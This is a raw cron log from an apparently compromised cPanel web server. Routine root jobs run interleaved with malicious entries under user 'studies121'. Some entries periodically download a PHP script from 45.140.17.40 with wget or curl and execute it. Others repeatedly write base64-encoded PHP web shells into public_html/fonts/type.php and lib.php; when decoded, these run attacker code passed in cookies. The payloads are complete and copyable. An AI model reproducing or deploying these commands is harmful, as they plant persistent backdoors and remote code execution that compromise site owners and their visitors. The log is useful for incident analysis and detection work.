Sep 12 21:50:01 ip-184-168-122-23 CROND[30527]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:50:01 ip-184-168-122-23 CROND[30523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:50:01 ip-184-168-122-23 CROND[30530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:50:01 ip-184-168-122-23 CROND[30528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:50:01 ip-184-168-122-23 CROND[30525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:50:01 ip-184-168-122-23 CROND[30531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:51:01 ip-184-168-122-23 CROND[30706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:51:01 ip-184-168-122-23 CROND[30709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:51:01 ip-184-168-122-23 CROND[30710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:51:01 ip-184-168-122-23 CROND[30708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:52:01 ip-184-168-122-23 CROND[30801]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:52:01 ip-184-168-122-23 CROND[30802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:52:01 ip-184-168-122-23 CROND[30804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:52:01 ip-184-168-122-23 CROND[30806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:52:01 ip-184-168-122-23 CROND[30805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:53:01 ip-184-168-122-23 CROND[30896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:53:01 ip-184-168-122-23 CROND[30899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:53:01 ip-184-168-122-23 CROND[30900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:53:01 ip-184-168-122-23 CROND[30898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:54:01 ip-184-168-122-23 CROND[30996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:54:01 ip-184-168-122-23 CROND[30998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:54:01 ip-184-168-122-23 CROND[30999]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:54:01 ip-184-168-122-23 CROND[31001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:54:01 ip-184-168-122-23 CROND[31000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:55:01 ip-184-168-122-23 CROND[31115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:55:01 ip-184-168-122-23 CROND[31117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:55:01 ip-184-168-122-23 CROND[31118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:55:01 ip-184-168-122-23 CROND[31119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:55:01 ip-184-168-122-23 CROND[31121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:55:01 ip-184-168-122-23 CROND[31120]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:56:01 ip-184-168-122-23 CROND[31288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:56:01 ip-184-168-122-23 CROND[31290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:56:01 ip-184-168-122-23 CROND[31291]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:56:01 ip-184-168-122-23 CROND[31292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:56:01 ip-184-168-122-23 CROND[31293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:57:01 ip-184-168-122-23 CROND[31385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:57:01 ip-184-168-122-23 CROND[31389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:57:01 ip-184-168-122-23 CROND[31390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:57:01 ip-184-168-122-23 CROND[31391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:58:01 ip-184-168-122-23 CROND[31480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:58:01 ip-184-168-122-23 CROND[31482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:58:01 ip-184-168-122-23 CROND[31481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:58:01 ip-184-168-122-23 CROND[31486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:58:01 ip-184-168-122-23 CROND[31487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:59:01 ip-184-168-122-23 CROND[31583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:59:01 ip-184-168-122-23 CROND[31586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:59:01 ip-184-168-122-23 CROND[31585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:59:01 ip-184-168-122-23 CROND[31587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:00:01 ip-184-168-122-23 CROND[31696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:00:01 ip-184-168-122-23 CROND[31698]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 22:00:01 ip-184-168-122-23 CROND[31700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:00:01 ip-184-168-122-23 CROND[31701]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 22:00:01 ip-184-168-122-23 CROND[31705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:00:01 ip-184-168-122-23 CROND[31707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:00:01 ip-184-168-122-23 CROND[31709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:00:01 ip-184-168-122-23 CROND[31702]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:00:01 ip-184-168-122-23 CROND[31703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:01:01 ip-184-168-122-23 CROND[31911]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31911]: starting 0anacron
Sep 12 22:01:01 ip-184-168-122-23 CROND[31918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:01:01 ip-184-168-122-23 CROND[31917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:01:01 ip-184-168-122-23 CROND[31922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:01:01 ip-184-168-122-23 CROND[31916]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 22:01:01 ip-184-168-122-23 CROND[31921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[31932]: finished 0anacron
Sep 12 22:02:01 ip-184-168-122-23 CROND[32027]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:02:01 ip-184-168-122-23 CROND[32028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
